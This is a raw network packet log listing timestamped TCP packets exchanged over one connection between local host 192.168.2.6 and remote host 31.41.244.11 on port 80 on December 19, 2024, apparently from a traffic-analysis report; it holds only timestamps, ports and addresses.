Dec 19, 2024 16:10:41.902199030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.905311108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.905364990 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.905567884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.905618906 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.908401012 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.908441067 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.908534050 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.908663034 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.911508083 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.911551952 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.911580086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.911619902 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.914669037 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.914772987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.914781094 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.914885998 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.917862892 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.917917013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.917928934 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.917968035 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.920989990 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.921057940 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.921093941 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.921137094 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.924161911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.924251080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.924264908 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.924312115 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.927397966 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.927449942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.927490950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.927535057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.930541039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.930584908 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.930629969 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.933801889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.933849096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.933851957 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.933887959 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.936844110 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.936952114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.937001944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.939997911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.940089941 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.940151930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.940220118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.943223000 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.943275928 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.943351984 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.943418980 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.946470022 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.946516037 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.946650982 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.946693897 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.949601889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.949647903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.949682951 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.949862003 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:41.952721119 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:41.952833891 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.043961048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.044044971 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.044121027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.045346975 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.045388937 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.045444012 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.048171997 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.048278093 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.066860914 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.066960096 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.067034006 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.067104101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.067604065 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.067652941 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.067712069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.067779064 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.069921017 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.069968939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.069992065 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.070007086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.072242975 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.072293997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.072406054 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.072541952 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.074723959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.074773073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.074784040 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.074826002 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.076884985 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.076935053 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.076992989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.077037096 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.079221010 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.079329014 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.079329014 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.079421043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.081578016 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.081620932 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.081633091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.081674099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.084217072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.084320068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.084369898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.084369898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.086091042 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.086162090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.086175919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.086205006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.088439941 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.088504076 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.088685989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.088726044 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.090579987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.090647936 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.090711117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.090756893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.092891932 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.092971087 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.092983007 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.093025923 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.095212936 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.095269918 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.095305920 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.095432043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.097513914 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.097594976 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.097601891 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.097634077 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.099747896 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.099790096 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.099808931 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.099849939 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.102030993 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.102144003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.102150917 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.102181911 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.104391098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.104438066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.104439020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.104476929 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.106620073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.106674910 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.106889009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.106971025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.108938932 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.108994961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.109041929 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.111188889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.111270905 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.111355066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.111430883 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.113552094 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.113595009 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.113713980 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.113751888 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.115792036 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.115983009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.116036892 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.118060112 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.118231058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.118285894 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.120578051 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.120621920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.120649099 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.120701075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.122659922 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.122735023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.122788906 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.124957085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.125015020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.125092983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.125130892 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.127233028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.127325058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.127330065 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.127367973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.129575968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.129635096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.129638910 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.129673004 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.131876945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.131927013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.131969929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.132088900 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.134146929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.134219885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.134300947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.135926008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.136415005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.136504889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.136533976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.136548996 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.138696909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.138751030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.138772964 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.138828993 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.140973091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.141053915 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.141066074 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.141099930 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.143265009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.143357038 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.143400908 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.145859003 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.145899057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.145927906 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.145941973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.148011923 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.148081064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.148109913 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.148111105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.150176048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.150182009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.150223970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.152450085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.152503967 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.152539968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.152581930 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.154779911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.154844999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.154886961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.155071974 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.157052994 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.157177925 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.157309055 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.157356024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.159383059 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.159440994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.159598112 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.159682989 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.161644936 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.161747932 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.161753893 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.161788940 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.163882017 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.163927078 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.164014101 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.164072037 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.166189909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.166234970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.166313887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.166354895 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.168466091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.168512106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.168514013 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.168550968 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.170732975 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.170882940 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.170931101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.173031092 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.173074961 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.173165083 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.173387051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.175354958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.175395966 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.175396919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.175436020 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.177632093 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.177675962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.235044956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.235110044 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.235122919 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.235165119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.236242056 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.236332893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.236335039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.236469030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.238338947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.238383055 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.238481045 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.238523960 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.240556955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.240605116 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.260042906 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.260101080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.260149956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.260195971 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.260898113 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.260999918 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.261034966 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.261070967 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.263365030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.263468027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.263492107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.263569117 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.264667034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.264779091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.264791965 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.264945030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.266436100 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.266493082 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.266546965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.266590118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.268227100 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.268305063 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.268333912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.268441916 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.269963980 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.270024061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.270087957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.270128965 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.271744013 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.271830082 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.271857977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.271898985 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.273500919 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.273546934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.273569107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.273607969 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.275197983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.275278091 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.275283098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.275327921 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.276869059 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.276988029 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.277064085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.277185917 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.278589964 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.278664112 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.278748989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.278902054 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.280216932 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.280289888 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.280304909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.280348063 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.281912088 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.281930923 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.281963110 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.281977892 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.283521891 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.283546925 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.283575058 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.283588886 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.285105944 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.285172939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.285200119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.285200119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.286708117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.286761999 CET	49931	80	192.168.2.6	31.41.244.11
